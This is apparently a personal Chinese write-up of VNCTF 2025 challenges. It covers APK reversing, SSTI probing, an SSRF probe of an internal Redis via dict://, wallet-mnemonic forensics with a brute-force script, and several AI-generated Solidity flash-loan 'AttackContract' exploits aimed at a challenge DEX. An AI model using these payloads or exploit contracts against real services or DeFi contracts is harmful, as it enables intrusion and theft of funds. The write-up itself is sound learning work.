[Reverse] Hook Fish

钓到的鱼怎么跑了?

下载下来一个apk文件,丢进jadx查看AndroidManifest.xml看到第一个Activity是com.example.hihitt.MainActivity

找到Activity看到里面有一些函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
    public void loadClass(String input0) {
String input1 = encode(input0);
File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
DexClassLoader dLoader = new DexClassLoader(Uri.fromFile(dexFile).toString(), null, null, ClassLoader.getSystemClassLoader().getParent());
try {
Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
Object obj = loadedClass.newInstance();
Method m = loadedClass.getMethod("check", String.class);
boolean check = ((Boolean) m.invoke(obj, input1)).booleanValue();
if (check) {
Toast.makeText(this, "恭喜,鱼上钩了!", 0).show();
}
} catch (Exception e) {
e.printStackTrace();
}
}

public String decode(String boy) {
try {
File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
Object obj = loadedClass.newInstance();
Method decodeMethod = loadedClass.getMethod("decode", String.class);
return (String) decodeMethod.invoke(obj, boy);
} catch (Exception e) {
e.printStackTrace();
return "Error";
}
}

public String encode(String girl) {
try {
File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
Object obj = loadedClass.newInstance();
Method encodeMethod = loadedClass.getMethod("encode", String.class);
return (String) encodeMethod.invoke(obj, girl);
} catch (Exception e) {
e.printStackTrace();
return "Error";
}
}
}

去抓包,发现从http://47.121.211.23/hook_fish.dex下载了文件,本来想在系统里面截胡的但是没截到,直接访问下载了文件

用Ghidra打开,发现内部逻辑是一个自定义的字符编码方式(我叫做ji字符编码),然后可以拿到里面ji编码后的密文

1
jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji

解码过后是0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5,并没有什么意义,再去看看有没有漏掉的东西,在MainActivity里面还有这样的编码过程(注释是我加的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static String encrypt(String str) {
byte[] str1 = str.getBytes(); // 把字符串变成bytes
for (int i = 0; i < str1.length; i++) {
str1[i] = (byte) (str1[i] + 68); // 变成bytes之前每个字符ASCII加了68
}
StringBuilder hexStringBuilder = new StringBuilder();
for (byte b : str1) {
hexStringBuilder.append(String.format("%02x", Byte.valueOf(b))); // 把传入的str1变成hex
}
String str2 = hexStringBuilder.toString(); // 把hex变成字符串
char[] str3 = str2.toCharArray(); // 把String转换为char[]数组
code(str3, 0); // 进行自定义编码
for (int i2 = 0; i2 < str3.length; i2++) {
if (str3[i2] >= 'a' && str3[i2] <= 'f') { // 如果为 a ~ f
str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4)); // 字符与 '1' 相减,再加上 i2 % 4,i2是循环变量
} else {
str3[i2] = (char) (str3[i2] + '7' + (i2 % 10)); // 字符与 '7' 相加,再加上 i2 % 10,i2还是循环变量
}
}
Log.d("encrypt: ", new String(str3));
return new String(str3);
}

private static void code(char[] a, int index) {
if (index >= a.length - 1) {
return;
}
a[index] = (char) (a[index] ^ a[index + 1]); // 前后异或,设三个数字为a, b, c,此时 a 变成了 c(a ^ b = c)
a[index + 1] = (char) (a[index] ^ a[index + 1]); // b ^ c = a,此时第二个字符为 a
a[index] = (char) (a[index] ^ a[index + 1]); // c ^ a = b,此时达到了第一个字符和第二个字符对调的效果
code(a, index + 2); // 前进两位,下一组
}

于是组合起来,写个JIO本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
class HookFish:
def __init__(self):
self.fish_ecode = {}
self.fish_dcode = {}
self.encode_map()

def encode_map(self):
encode_dict = {
'a': "iiijj", 'b': "jjjii", 'c': "jijij", 'd': "jjijj", 'e': "jjjjj",
'f': "ijjjj", 'g': "jjjji", 'h': "iijii", 'i': "ijiji", 'j': "iiiji",
'k': "jjjij", 'l': "jijji", 'm': "ijiij", 'n': "iijji", 'o': "ijjij",
'p': "jiiji", 'q': "ijijj", 'r': "jijii", 's': "iiiii", 't': "jjiij",
'u': "ijjji", 'v': "jiiij", 'w': "iiiij", 'x': "iijij", 'y': "jjiji",
'z': "jijjj", '1': "iijjl", '2': "iiilj", '3': "iliii", '4': "jiili",
'5': "jilji", '6': "iliji", '7': "jjjlj", '8': "ijljj", '9': "iljji",
'0': "jjjli"
}
for char, code in encode_dict.items():
self.fish_ecode[char] = code
self.fish_dcode[code] = char

def decode(self, p1):
decoded_str = []
for i in range(0, len(p1), 5):
encoded_char = p1[i:i+5]
decoded_str.append(self.fish_dcode.get(encoded_char, '?'))
return ''.join(decoded_str)

def decrypt(encrypted_str):
def reverse_step4(chars):
reversed_chars = []
for i, c in enumerate(chars):
current_ord = ord(c)
# 逆向处理 a-f 的情况
original_ord_case1 = (current_ord - (i % 4)) + ord('1')
if 97 <= original_ord_case1 <= 102:
reversed_chars.append(chr(original_ord_case1))
continue
# 逆向处理其他字符
original_ord_case2 = current_ord - ord('7') - (i % 10)
if 48 <= original_ord_case2 <= 57 or 97 <= original_ord_case2 <= 102:
reversed_chars.append(chr(original_ord_case2))
else:
reversed_chars.append('?') # 无效占位符
return reversed_chars

# 逆向第四步变换
step3_chars = reverse_step4(list(encrypted_str))

# 逆向 code 函数(交换相邻字符)
for i in range(0, len(step3_chars)-1, 2):
step3_chars[i], step3_chars[i+1] = step3_chars[i+1], step3_chars[i]

# 转换十六进制字符串为字节
try:
hex_str = ''.join(step3_chars)
encrypted_bytes = bytes.fromhex(hex_str)
except ValueError:
return "Invalid Hex"

# 逆向字节偏移
original_bytes = bytes([(b - 68) % 256 for b in encrypted_bytes])
return original_bytes.decode('utf-8', errors='replace')

# 使用示例
hook_fish = HookFish()
encoded_string = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji"

raw_encrypted = hook_fish.decode(encoded_string)
print("Encrypted String:", raw_encrypted)

decrypted_flag = decrypt(raw_encrypted)
print("Decrypted Flag:", decrypted_flag)

最终得到flag为VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l}

[MISC] VN_Lang

我真是受够了往misc里塞异形文字了,所以我决定自创VN文字,你能读懂吗?

本题所给的附件中,main.rs为源代码,请下载exe文件进行解题,flag在exe中。

直接把exe丢进IDA,然后Shift + F12,查看字符串,发现flag

flag为VNCTF{ucxaOK2UO8rEXjuUXbwa5sBoZKxBxb6qhQ3HVoy30rzq5}

[Web] 学生姓名登记系统(未出)

Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?

确实并非无懈可击,但是我是没办法打

上来就说输入学生名字,输入完点击提交发现会显示刚刚输入的学生名字,猜测可能存在SSTI,测试了一下果不其然

输入 输出

然后我测试了一下,虽然可以分行提交,但是一旦存在某些关键词,则不会被当做模板运行,例如输入{%print(123)%},会直接原样返回

这些关键词包括但不限于:%lipsum,有些组合也不能够被正确识别,例如{{request.args.a}}{{request.cookies.c}}这样的

此外,还有长度限制,经过测试,当单行输入长度>=24的时候,就会阻止,表现为弹出“谁家好人名字这么长??”的提示

因为我实在是没找到方法来规避这个长度限制,所以只能作罢

[Web] 奶龙回家(未出)

小朋友们你们好呀,我是奶龙,请帮我找到username和password,获得胖猫留下的flag吧 //容易炸链接,可以多试几次

我才是奶龙.jpg

给了登录框,可以输入用户名和密码,一开始就想到了爆破

然后我已经爆破了快两个小时,结果发了提示:本题考点是注入攻击,无需进行字典爆破操作

行吧,我后面再来看你(然后就忘了 =-=)

[Reverse] 抽奖转盘(未出)

主播主播,你的安卓逆向太吃操作了,有没有更简单容易上手的逆向题目哇?有的兄弟有的。

真的上手吗(害怕

附件的格式.hap就告诉我们一切了,这题是鸿蒙的软件逆向,我在网上找不到什么资料,找到了一个工具abc-decompiler

https://github.com/ohos-decompiler/abc-decompiler

把hap文件解压以后,将里面的.abc文件丢进去就可以反编译了……但这是啥啊!

好吧,现在的反编译工具确实不太成熟,怪不得人家。我手上也没有鸿蒙设备,也没有模拟器,真的在打黑盒一样

后面找到了模拟器,要求电脑开HyperV,我丢在了虚拟机上运行(但一直在转圈),考虑到我写这行字的时候已经是1:09了,我还是去睡觉吧,明天有N1CTF呢

模拟器:https://www.coolapk.com/feed/57785796?shareKey=ZTFmZTBiNTJiN2Y5NjcxOTBlZjQ~&shareUid=0

[MISC] Ekko(未出)

Ekko似乎找不到完美的时间线了。。。

题目地址:156.238.233.119:10001

faucet:156.238.233.119:10000

rpc:156.238.233.119:8545

一看就是以太坊智能合约的题目,但我没接触过,于是我去学了一下以太坊的合约

nc题目地址能够创建一个钱包,要求向指定地址转账0.001测试币才能下一步

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001
Help Ekko find the best timeline.馃槑馃槑馃槑
Trigger the isSolved() function to obtain the flag.

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 1
[+] deployer account: 0x6117596A833B37eEC24D83F2b9C741513542a1c1
[+] token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ
[+] please transfer more than 0.001 test ether to the deployer account for next step

首先第一步是要去水龙头接水(拿测试币),访问题目给的faucet地址,把钱包地址填进去就可以接到1ETH测试币了

接着要向别人转账,再次nc选择2,把token给它就可以部署合约了

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001
Help Ekko find the best timeline.馃槑馃槑馃槑
Trigger the isSolved() function to obtain the flag.

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 2
[-] input your token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ
[+] contract address: 0xCDF40E3392f49Bc985B06A30269f75035C7001AE
[+] transaction hash: 0xded23a521c51c77838cc35e0c1019f1873e5db8ff6c8bf7bd3dd967c22a351c6

然后就是要完成合约,但是怎么完成?我不道啊!!

[MISC] aimind(未出)

基于大模型生成网站思维导图,不觉得很cool 吗

题目链接:http://39.100.72.235:8000/

本网站由gpt4o进行驱动,响应慢属于正常现象,靶场十分钟重启一次.

访问后告诉我们要输入url来生成思维导图

我一开始以为是基于网页中间件的提示词注入,所以我还写了这么一个文档

https://github.com/Luminoria/CTF/blob/main/VNCTF2025.html

改来改去它还是不告诉我,想想算了,先做别的,后面题目给了提示

  • 据说有个redis在内网
  • 172.18.0.3

那意思很明确了,访问172.18.0.3:6379这个Redis获取信息,我就想到之前CCSSSC那次做过的dict执行Redis命令

测试了一下dict://172.18.0.3:6379/INFO,确实可以获取信息

于是想着能不能弹shell,但是后来发现用之前的payload会出不来(不生成思维导图且F12网络选项卡里面500),只好作罢

还是对Redis不熟的问题 =-=

[MISC] Echo Flowers(已复现)

英语不好的114也想要学习区块链,于是通过自己编写的地址生成器生成了一个0x114514开头的地址助记词(默认路径m/44’/60’/0’/0/0),并将助记词导入首次搭载四曲柔边直屏,采用居中对称式的圆环镜头+金属质感小银边设计,并辅以拉丝工艺打造的金属质感中框,主打“超防水,超抗摔,超耐用”,号称“耐用战神”的OPPO A5 Pro上作为数字钱包。不幸的是,114忘记了这部手机上数字钱包的密码,同时丢失了助记词。你能帮助114找回他的数字钱包吗?

本题附件下载地址:百度网盘Google Drive

114使用的密码是强密码(在8-40字符之间,至少包含一个大写字母、一个小写字母、一个数字和一个特殊字符),因此暴力破解密码是不现实的

附件是一个(通过Android-x86模拟的)手机镜像,建议使用VMWare虚拟机平台运行手机镜像,其它虚拟机平台可能会出现非预期的行为。

你应该从手机镜像中取证找回数字钱包。

附件中gift文件夹的内容不是解题所必需的。

FLAG格式:VNCTF{ETH地址0x114514d3CEc0bB872349a98e21526DbA041F08a9对应的私钥十六进制小写} . 例如,假设私钥是0xaabbcc,那么FLAG是VNCTF{aabbcc} .

赛中自己做

一开始我去找了手机的文件,想着能不能找到助记词或者私钥,但是找不到,题目又说英语不好将助记词导入,于是我想着社会工程学,看看键盘的记录,结果就找到了这12个可能为助记词的单词

具体做法是:切换到英文键盘,开启单词匹配,然后按下首字母,以此选择排在前面的且看起来像是助记词的单词,我知道这很不靠谱但我确实是这么做的,还真的拿出来了12个,是助记词的经典数目

1
ramp ranch twenty you only space define fashion high laundry carpet muscle

因为助记词的顺序会影响钱包地址,于是写了个爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import itertools
from mnemonic import Mnemonic
from eth_account import Account
from eth_utils.exceptions import ValidationError
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor, as_completed

# 启用HD钱包功能
Account.enable_unaudited_hdwallet_features()

# 给定的12个助记词
mnemonic_words = "ramp ranch twenty you only space define fashion high laundry carpet muscle".split()

# 目标地址
target_address = '0x114514d3CEc0bB872349a98e21526DbA041F08a9'

# 初始化助记词处理工具
mnemo = Mnemonic('english')

# 函数:生成钱包地址
def generate_address_from_mnemonic(mnemonic_words):
try:
mnemonic_phrase = ' '.join(mnemonic_words)
# 验证助记词是否有效
if not mnemo.check(mnemonic_phrase):
return None
seed = mnemo.to_seed(mnemonic_phrase, passphrase="")
# 使用EthAccount生成钱包
acct = Account.from_mnemonic(mnemonic_phrase)
return acct.address.lower()
except ValidationError:
return None

# 处理每个排列组合
def process_permutation(perm):
address = generate_address_from_mnemonic(perm)
if address == target_address:
return perm
return None

# 使用线程池执行多线程任务
with ThreadPoolExecutor() as executor:
# 创建tqdm进度条
progress_bar = tqdm(itertools.permutations(mnemonic_words), desc="Testing permutations", total=12*11*10*9*8*7*6*5*4*3*2*1)

# 提交任务并处理结果
for perm in progress_bar:
future = executor.submit(process_permutation, perm)
result = future.result()
progress_bar.update(1)
if result:
print(f"Found correct sequence: {result}")
break
else:
print("No matching address found.")

然后就发现问题了:这样组合起来有479001600种组合,完全不够时间来爆破,而且这12个助记词不保证对,那没办法了,放在kaggle上面爆破然后我做别的去了

赛后复现

根据官方的wp,找搜狗输入法的方向是正确的,但是就像我上面说的,不确定性太大了

搜狗输入法的词库确实是按照我在比赛时看到的那样,保存在/data/data/com.sohu.inputmethod.sogouoem/files/dict里面,而我在winhex里面看到的跟我用string提取的一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings *.bin
SGCM(
SGCP(
SGHW(
SGKC$
SGLB(
SGPA(
SGPF(
SGTG(
SGQG(
SGBU(
SGMU(
SGPU(
SGBG(
SGAU(
SGAB(
SLDA(
SGNU(

这样子看不出来任何东西,而官方wp加入了--encoding=b

Deepseek: --encoding=b 表示让 strings 工具以 16位大端(Big-Endian)编码 扫描二进制文件中的字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings --encoding=b *
ranch
only
space
define
laundry
carpet
muscle
ramp
high
twenty
couch
fashion

就能够看到助记词,而且有确切的顺序,导入进去就有钱包了

所以flag为VNCTF{6433c196bb66b0d8ce3aa072d794822fd87edfbc3a30e2f2335a3fb437eb3cda}

找搜狗输入法的方向是对的,只不过不能在winhex里面查看词库要用strings提取

[MISC] Something for nothing(未出)

今天我们隆重推出VNB和WMB!嗯…好像交易所的实现有不太对的地方?

稍加利用也许能拿到怪东西?

做这题的时候我已经学了一点点(真的是一点点)的合约了,提示里面给到“三角套利”,但是理财不是我的强项

于是在Deepseek的帮助下,有了这样的攻击步骤

  1. 触发闪电贷:在attack函数中,通过调用flashLoan借入5000 USDT。
  2. 执行套利操作:在executeOperation回调函数中:
    • USDT→VNB:在池0(USDT-VNB)中将借入的USDT兑换为VNB。
    • VNB→WMB:在池1(VNB-WMB)中将获得的VNB兑换为WMB。
    • WMB→USDT:在池2(USDT-WMB)中将获得的WMB兑换回USDT。
  3. 转移利润:计算利润并将USDT利润转至profitReceiver
  4. 归还贷款:确保剩余的USDT足够偿还闪电贷,并授权DEX取回。

关键点:

  • 手续费漏洞:DEX的getAmountOut函数错误地将amountIn乘以1000而非扣除手续费,导致无手续费交易,使得套利成为可能。
  • 三角套利路径:利用三个流动性池的价格差异,通过三次交换实现无风险利润。
  • 闪电贷机制:通过闪电贷借入大量资金放大利润,并在同一交易中完成所有操作,确保原子性。

于是它给了我下面的合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
function flashLoan(uint256 amount, address token) external;
function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
function getPrice(uint256 ammIndex) external view returns (uint256);
function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
address public token0;
address public token1;
address public token2;
address public dex;
address public profitReceiver;

function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override {
token0 = _token0;
token1 = _token1;
token2 = _token2;
dex = _dex;
profitReceiver = _profitReceiver;

// 借入5000 USDT进行攻击
uint256 loanAmount = 5000 ether;
ISimpleDEX(dex).flashLoan(loanAmount, token0);
}

function executeOperation(uint256 amount, address token) external {
require(msg.sender == dex, "Unauthorized");
require(token == token0, "Invalid token");

// 授权DEX使用借入的USDT
IIERC20(token0).approve(dex, amount);

// 在池0中将USDT兑换为VNB
ISimpleDEX(dex).swap(0, amount, true);

// 在池1中将VNB兑换为WMB
uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
IIERC20(token1).approve(dex, vnbBalance);
ISimpleDEX(dex).swap(1, vnbBalance, true);

// 在池2中将WMB兑换为USDT
uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
IIERC20(token2).approve(dex, wmbBalance);
ISimpleDEX(dex).swap(2, wmbBalance, false);

// 将利润转给profitReceiver
uint256 currentBalance = IIERC20(token0).balanceOf(address(this));
require(currentBalance >= amount, "无法偿还贷款");
uint256 profit = currentBalance - amount;
IIERC20(token0).transfer(profitReceiver, profit);

// 授权DEX取回贷款
IIERC20(token0).approve(dex, amount);
}
}

但问题是,我放到题目里面以后,它不跑啊……

我还是把各种AI给的合约放在这个下面吧

Deepseek R1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
function flashLoan(uint256 amount, address token) external;
function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
function getPrice(uint256 ammIndex) external view returns (uint256);
function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
address public token0;
address public token1;
address public token2;
address public dex;
address public profitReceiver;

function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override {
token0 = _token0;
token1 = _token1;
token2 = _token2;
dex = _dex;
profitReceiver = _profitReceiver;

// 借入5000 USDT进行攻击
uint256 loanAmount = 5000 ether;
ISimpleDEX(dex).flashLoan(loanAmount, token0);
}

function executeOperation(uint256 amount, address token) external {
require(msg.sender == dex, "Unauthorized");
require(token == token0, "Invalid token");

// 授权DEX使用借入的USDT
IIERC20(token0).approve(dex, amount);

// 在池0中将USDT兑换为VNB
ISimpleDEX(dex).swap(0, amount, true);

// 在池1中将VNB兑换为WMB
uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
IIERC20(token1).approve(dex, vnbBalance);
ISimpleDEX(dex).swap(1, vnbBalance, true);

// 在池2中将WMB兑换为USDT
uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
IIERC20(token2).approve(dex, wmbBalance);
ISimpleDEX(dex).swap(2, wmbBalance, false);

// 将利润转给profitReceiver
uint256 currentBalance = IIERC20(token0).balanceOf(address(this));
require(currentBalance >= amount, "无法偿还贷款");
uint256 profit = currentBalance - amount;
IIERC20(token0).transfer(profitReceiver, profit);

// 授权DEX取回贷款
IIERC20(token0).approve(dex, amount);
}
}

Gemini 2.0 Pro 02-05

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
function flashLoan(uint256 amount, address token) external;
function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
function getPrice(uint256 ammIndex) external view returns (uint256);
function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
address public token0;
address public token1;
address public token2;
address public dex;
address public profitReceiver;
uint256 public loanAmount;

function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver)
external
{
token0 = _token0;
token1 = _token1;
token2 = _token2;
dex = _dex;
profitReceiver = _profitReceiver;
loanAmount = IIERC20(token0).balanceOf(dex); // Get the maximum loanable amount

ISimpleDEX(dex).flashLoan(loanAmount, token0);
}
function executeOperation(uint256 amount, address token) external{
require(msg.sender == dex, "Unauthorized");
require(token == token0, "Wrong token");
require(amount == loanAmount, "Wrong Amount");

IIERC20(token0).approve(dex, loanAmount);
// 1. Swap USDT for VNB (ammIndex 0)
ISimpleDEX(dex).swap(0, amount, true);

// 2. Swap VNB for WMB (ammIndex 1)
uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
IIERC20(token1).approve(dex, vnbBalance);
ISimpleDEX(dex).swap(1, vnbBalance, true);

// 3. Swap WMB for USDT (ammIndex 2)
uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
IIERC20(token2).approve(dex, wmbBalance);
ISimpleDEX(dex).swap(2, wmbBalance, true);

// Transfer profit to profitReceiver
uint256 profit = IIERC20(token0).balanceOf(address(this)) - amount;
IIERC20(token0).transfer(profitReceiver, profit);

}
}

ChatGPT 4o

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// Attack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
function flashLoan(uint256 amount, address token) external;
function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
function getPrice(uint256 ammIndex) external view returns (uint256);
function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
address token0;
address token1;
address token2;
address dex;
address profitReceiver;

uint256 flashLoanAmount = 1000 ether; // Flash loan amount (adjustable)

function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver)
external
{
token0 = _token0;
token1 = _token1;
token2 = _token2;
dex = _dex;
profitReceiver = _profitReceiver;

// Step 1: Flash loan from SimpleDEX (borrow USDT)
ISimpleDEX(dex).flashLoan(flashLoanAmount, token0); // Borrow 1000 USDT
}

// This function is called by the SimpleDEX during flash loan callback
function executeOperation(uint256 amount, address token) external {
require(msg.sender == dex, "Unauthorized");

// Step 2: Perform triangular arbitrage
// 1. Swap USDT (token0) to VNB (token1)
uint256 price0 = ISimpleDEX(dex).getPrice(0); // Get price of USDT -> VNB
uint256 amountOut1 = (flashLoanAmount * price0) / 1e18; // Amount of VNB received
ISimpleDEX(dex).swap(0, flashLoanAmount, true); // Swap USDT to VNB

// 2. Swap VNB (token1) to WMB (token2)
uint256 price1 = ISimpleDEX(dex).getPrice(1); // Get price of VNB -> WMB
uint256 amountOut2 = (amountOut1 * price1) / 1e18; // Amount of WMB received
ISimpleDEX(dex).swap(1, amountOut1, true); // Swap VNB to WMB

// 3. Swap WMB (token2) to USDT (token0)
uint256 price2 = ISimpleDEX(dex).getPrice(2); // Get price of WMB -> USDT
uint256 amountOut3 = (amountOut2 * price2) / 1e18; // Amount of USDT received
ISimpleDEX(dex).swap(2, amountOut2, false); // Swap WMB to USDT

// Step 3: Repay the flash loan
require(IIERC20(token).balanceOf(address(this)) >= amount, "Insufficient funds to repay loan");
IIERC20(token).transfer(msg.sender, amount); // Repay the flash loan

// Step 4: Check if profit was made
uint256 profit = IIERC20(token).balanceOf(profitReceiver);
require(profit > flashLoanAmount, "No profit made"); // Ensure profit was made
}
}

[PWN] FileSys(未出)

You only have one chance to edit

题目给了一个bzImage、一个rootfs.cpio、一个boot.sh,用qemu启动试试

1
2
3
4
5
6
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio \
-append "root=/dev/ram console=ttyS0" \
-nographic \
-m 512M

启动确实是成功了,但我不知道要干嘛啊 =-= 题目说要edit我也不知道改啥

反倒是在用winhex翻文件的时候,在根目录有flag.txt写着VNCTF{inkey}

[MISC] ezSignal(未出)

你也热爱信号吗?

本题附件下载地址:下载链接

题目给了一个压缩包,解压出来一张图,binwalk出来另一个压缩包,里面是flag.txt(180+ MB),里面看不懂啊~

图片的描述里面,照相机序列号有key:VN2025CTF(下图是旧附件flag.txt)

后面说这题有问题,附件更新了,新附件337MB(之前那个才几MB),新附件把flag分成两部分了

1
2
3
4
5
6
7
8
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 500 x 500, 8-bit/color RGB, non-interlaced
